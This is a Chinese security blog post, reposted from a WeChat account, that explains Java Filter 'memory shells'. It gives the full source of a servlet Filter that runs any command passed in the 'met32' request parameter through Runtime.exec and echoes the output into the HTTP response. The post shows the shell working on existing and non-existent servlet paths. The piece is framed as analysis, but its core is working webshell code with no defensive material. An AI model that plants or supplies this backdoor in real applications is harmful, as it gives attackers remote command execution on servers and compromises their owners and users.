JAVA内存马超简单剖析

admin 2022年1月1日13:06:31评论75 views字数 1488阅读4分57秒阅读模式

JAVA内存马超简单剖析

扫一扫关注公众号,长期致力于安全研究JAVA内存马超简单剖析

前言:本文简单分析JAVA Filter内存马



0x01 简要分析

最近看见很多师傅们都在转这种类型的文章。找了一种拿来分析了一下,看完之后实现其实很简单的。

JAVA内存马超简单剖析


其实所谓的"内存马"(分析的是Filter这种),无疑就是在Filter过滤器上做了点手脚。

简单科普一下,Filter过滤器实现流程大致如下。每当客户端请求servlet的时候,都会经过过滤器,而过滤器在实战项目中,通常用来进行一些session的校验等。统一设置编码格式,敏感字符过滤等

JAVA内存马超简单剖析




0x02  实现流程

既然每次请求Servlet都会经过Filter过滤器。那么所谓的内存马,其实就是在这上面做手脚就可以了。

本次用的Maven项目搭建。需要引入servlet包

<dependency>  <groupId>javax.servlet</groupId>  <artifactId>javax.servlet-api</artifactId>  <version>3.1.0</version></dependency>

之后直接创建一个Filter过滤器即可,在下方doFilter就是需要实现功能的地方

JAVA内存马超简单剖析


实现代码如下:
    分析一下,首先获取met32参数值,如果不为空,就通过servletRequest.getParameter接收请求参数并执行。而执行完成之后,并循环遍历读取内容回显到页面
public class MyFilter implements Filter {    @Override    public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { if(servletRequest.getParameter("met32")!=null){ Process process = Runtime.getRuntime().exec(servletRequest.getParameter("met32")); InputStream inputStream = process.getInputStream(); BufferedReader buffer= new BufferedReader(new InputStreamReader(inputStream)); String line; while((line = buffer.readLine())!=null){ servletResponse.getWriter().println(line); } servletResponse.getWriter().flush(); } filterChain.doFilter(servletRequest,servletResponse); }
@Override public void destroy() {
}}


0x03  Filter马测试

首先访问一个存在的servlet看一下,可以发现成功执行

JAVA内存马超简单剖析


那针对不存在的Servlet进行访问会怎样呢?是否会经过Filter过滤器?

JAVA内存马超简单剖析


可以看见在访问不存在的servlet的时候,也是会经过filter过滤器并执行命令

JAVA内存马超简单剖析


11111
微信搜索关注 "安全族" 长期致力于安全研究


下方扫一下扫,即可关注JAVA内存马超简单剖析

JAVA内存马超简单剖析






原文始发于微信公众号(安全族):JAVA内存马超简单剖析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月1日13:06:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JAVA内存马超简单剖析http://cn-sec.com/archives/715473.html

发表评论

匿名网友 填写信息